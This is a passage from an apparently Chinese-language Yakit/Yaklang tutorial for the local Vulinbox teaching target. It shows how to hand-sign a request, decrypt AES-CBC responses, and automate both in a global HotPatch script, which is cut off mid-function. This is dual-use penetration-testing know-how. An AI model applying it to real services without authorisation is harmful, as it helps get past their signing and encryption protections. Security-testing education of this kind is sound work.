<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="把签名手工填回-http-raw再发送一次">把签名手工填回 HTTP Raw，再发送一次<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E6%8A%8A%E7%AD%BE%E5%90%8D%E6%89%8B%E5%B7%A5%E5%A1%AB%E5%9B%9E-http-raw%E5%86%8D%E5%8F%91%E9%80%81%E4%B8%80%E6%AC%A1" class="hash-link" aria-label="把签名手工填回 HTTP Raw，再发送一次的直接链接" title="把签名手工填回 HTTP Raw，再发送一次的直接链接" translate="no">​</a></h3>
<p>拿到上面的 <code>session_id</code>、<code>timestamp</code>、<code>signature</code> 之后，可以把它们手工填回请求里：</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">POST /api/pipeline/orders/search HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host: 127.0.0.1:18080</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Pipeline-Session: 610ecc49c20b756f</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Pipeline-Timestamp: 1773735201</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Pipeline-Signature: afcba3b7712aa9ec0a4e8817fee171db73cabbe95172efbcfcfc1bb4068627b0</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"keyword":"商品4","status":"已发货","page":1,"size":10}</span><br></span></code></pre></div></div>
<p>这时候，服务端就不会再报缺少签名头了，而是会返回一段新的密文响应：</p>
<div class="language-makefile codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-makefile codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json; charset=utf-8</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Pipeline-Encrypted: 1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Pipeline-Session: 610ecc49c20b756f</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Date: Tue, 17 Mar 2026 08:13:52 GMT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Length: 473</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "data": "SNCjfVKXde6ycHpWLvFDfMR+3LCguTvcND2cKex5H7YoCazaEVakRFr/8ViSMNx7u1lVsWo4FKtlLmvnMGuIE9bqeaC9Rsp55WYxhRdETV9A4Z1qoF3NOZlYYiHC20BZNz8VjD+q9UR/pbphwz3y55N8rrgQTVe2NmA1GWZlOfmAcOSdJ3wphaGThqasUpOEyLwIcIWd2/P0qhN1zh0dyj/fhg9BHm8MEtTCXlg9V+3me+1HNwuDhyJ4c1YhH7TUYHzIuJ8c92uTx1C8EGHCjtU6ybTR3wIDHtumsk4gN0L8U2/yXicUp+IVmu0l6LTuOZ/3LfAj23jLV7bgIpt5gMSsEZ0cU/Faa16J2pgvf/W9smpyBsr8jT4G/wyqYrGJ",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "iv": "IOxkag/9xBCshaOk4sApKg==",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "session_id": "610ecc49c20b756f"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="把加密响应再解成明文现在还差最后一步把这段响应解开">把加密响应再解成明文，现在还差最后一步：把这段响应解开。<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E6%8A%8A%E5%8A%A0%E5%AF%86%E5%93%8D%E5%BA%94%E5%86%8D%E8%A7%A3%E6%88%90%E6%98%8E%E6%96%87%E7%8E%B0%E5%9C%A8%E8%BF%98%E5%B7%AE%E6%9C%80%E5%90%8E%E4%B8%80%E6%AD%A5%E6%8A%8A%E8%BF%99%E6%AE%B5%E5%93%8D%E5%BA%94%E8%A7%A3%E5%BC%80" class="hash-link" aria-label="把加密响应再解成明文，现在还差最后一步：把这段响应解开。的直接链接" title="把加密响应再解成明文，现在还差最后一步：把这段响应解开。的直接链接" translate="no">​</a></h3>
<p>继续写一个只负责解密响应的 YAK 函数，然后把上一步拿到的响应原文贴进去：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">decryptPipelineResponse = func(packet, sessionKey) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = poc.GetHTTPPacketBody(packet)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    dataBytes = codec.DecodeBase64(params.data)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain = codec.AESCBCDecrypt(sessionKey, dataBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return string(plain)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">sessionKey = codec.DecodeBase64("IOxkag/9xBCshaOk4sApKg==")~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">responsePacket = &lt;&lt;&lt;PACKET</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Pipeline-Encrypted: 1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"session_id":"9c0c4c1b8f0d4a6f","iv":"&lt;把你自己抓到的 iv 粘进来&gt;","data":"&lt;把你自己抓到的 data 粘进来&gt;"}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PACKET</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">println(decryptPipelineResponse(responsePacket, sessionKey))</span><br></span></code></pre></div></div>
<p>正常情况下，你会得到类似下面这样的明文：</p>
<div class="language-css codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-css codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"page"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"row_count"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"rows"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">[</span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"delivery_status"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"已发货"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"order_id"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"product_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"商品4"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"quantity"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"total_price"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">445</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"username"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"user1"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"scene"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"global-before-sign -\u003e module-before-mutate -\u003e global-after-decrypt -\u003e module-after-judge"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"size"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>到这里为止，这条链路才算真正手工走通。</p>
<p>而且你会非常直观地感受到一个问题：</p>
<p>这套流程并不复杂，但很碎。</p>
<p>它有非常明显的“割裂感”：</p>
<p>1、先去取 bootstrap</p>
<p>2、再切到 Yak Runner 解 ticket</p>
<p>3、再切回来手工发 HTTP Raw</p>
<p>4、再把响应贴回 Yak Runner 解密</p>
<p>如果每次都这么来一遍，体验会非常差。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="全局热加载pipeline流程">全局热加载Pipeline流程<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%85%A8%E5%B1%80%E7%83%AD%E5%8A%A0%E8%BD%BDpipeline%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="全局热加载Pipeline流程的直接链接" title="全局热加载Pipeline流程的直接链接" translate="no">​</a></h2>
<p>既然整条链路已经清楚，那么全局热加载脚本最核心的内容其实只有三块：</p>
<p>1、自动取 bootstrap</p>
<p>2、自动补 <code>X-Pipeline-*</code></p>
<p>3、自动把加密响应还原成明文</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1先看职责边界">1、先看职责边界<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#1%E5%85%88%E7%9C%8B%E8%81%8C%E8%B4%A3%E8%BE%B9%E7%95%8C" class="hash-link" aria-label="1、先看职责边界的直接链接" title="1、先看职责边界的直接链接" translate="no">​</a></h3>
<p>先把 global 的职责说清楚：</p>
<p>1、识别目标请求是不是 <code>/api/pipeline/orders/search</code></p>
<p>2、如果命中，就自动请求 <code>/api/pipeline/bootstrap</code></p>
<p>3、解 ticket，拿到 <code>session_id</code> 和 <code>session_key</code></p>
<p>4、自动补 <code>X-Pipeline-Session</code></p>
<p>5、自动补 <code>X-Pipeline-Timestamp</code></p>
<p>6、自动补 <code>X-Pipeline-Signature</code></p>
<p>7、当用户显式要求看明文时，自动解密在线响应</p>
<p>8、在 MITM 存库时，把响应写成明文，方便观察</p>
<p>你会发现，这些工作几乎全部都是协议层动作，而不是漏洞 payload 层动作。</p>
<p>这正是全局热加载最适合接管的事情。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2完整可用的-global-hotpatch-脚本">2、完整可用的 Global HotPatch 脚本<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#2%E5%AE%8C%E6%95%B4%E5%8F%AF%E7%94%A8%E7%9A%84-global-hotpatch-%E8%84%9A%E6%9C%AC" class="hash-link" aria-label="2、完整可用的 Global HotPatch 脚本的直接链接" title="2、完整可用的 Global HotPatch 脚本的直接链接" translate="no">​</a></h3>
<p>下面这份脚本可以直接作为全局热加载模板使用：</p>
<div class="language-kotlin codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kotlin codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// Vulinbox Pipeline 教学靶场 - Global HotPatch</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 作用：</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 1. 自动请求 /api/pipeline/bootstrap</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 2. 自动补 X-Pipeline-Session / X-Pipeline-Timestamp / X-Pipeline-Signature</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 3. Web Fuzzer 携带 X-Yak-Force-Plaintext: 1 时，自动解密在线响应</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 4. MITM 不破坏浏览器真实协议，但保存到数据库的 flow 会被改写成明文</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PIPELINE_BOOTSTRAP_KEY </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"YakitPipeBootKey"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PIPELINE_BOOTSTRAP_PATH </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"/api/pipeline/bootstrap"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PIPELINE_TARGET_PATH </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"/api/pipeline/orders/search"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PLAINTEXT_HEADER </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Yak-Force-Plaintext"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">sessionKeyCache </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">isTargetRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    u</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ExtractURLFromHTTPRequestRaw</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> nil </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> u</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Path </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> PIPELINE_TARGET_PATH</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">parseBootstrapTicket </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"ticket"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"iv"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">panic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"global hotpatch: bootstrap response missing ticket/iv"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ticketBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ticket</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">iv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">AESCBCDecrypt</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">PIPELINE_BOOTSTRAP_KEY</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ticketBytes</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ivBytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">plain</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fetchPipelineSession </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    host </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"Host"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> host </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">""</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">panic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"global hotpatch: request host is empty"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    bootstrapReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"GET "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> PIPELINE_BOOTSTRAP_PATH </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">" HTTP/1.1\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string-literal singleline string" style="color:#e3116c">"Host: "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> host </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string-literal singleline string" style="color:#e3116c">"User-Agent: yak-global-hotpatch-pipeline-demo\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string-literal singleline string" style="color:#e3116c">"Connection: close\r\n\r\n"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    bootstrapRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> _ </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">HTTP</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        bootstrapReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">https</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">timeout</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">save</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">parseBootstrapTicket</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">bootstrapRsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">buildPipelineSignature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">method</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> path</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> sessionKey</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ts </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"%d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> time</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Now</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Unix</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signRaw </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> method </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> path </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> ts</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">EncodeToHex</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">HmacSha256</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sessionKey</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> signRaw</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> ts</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> signature</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">decryptPipelineResponse </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> sessionKey</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" 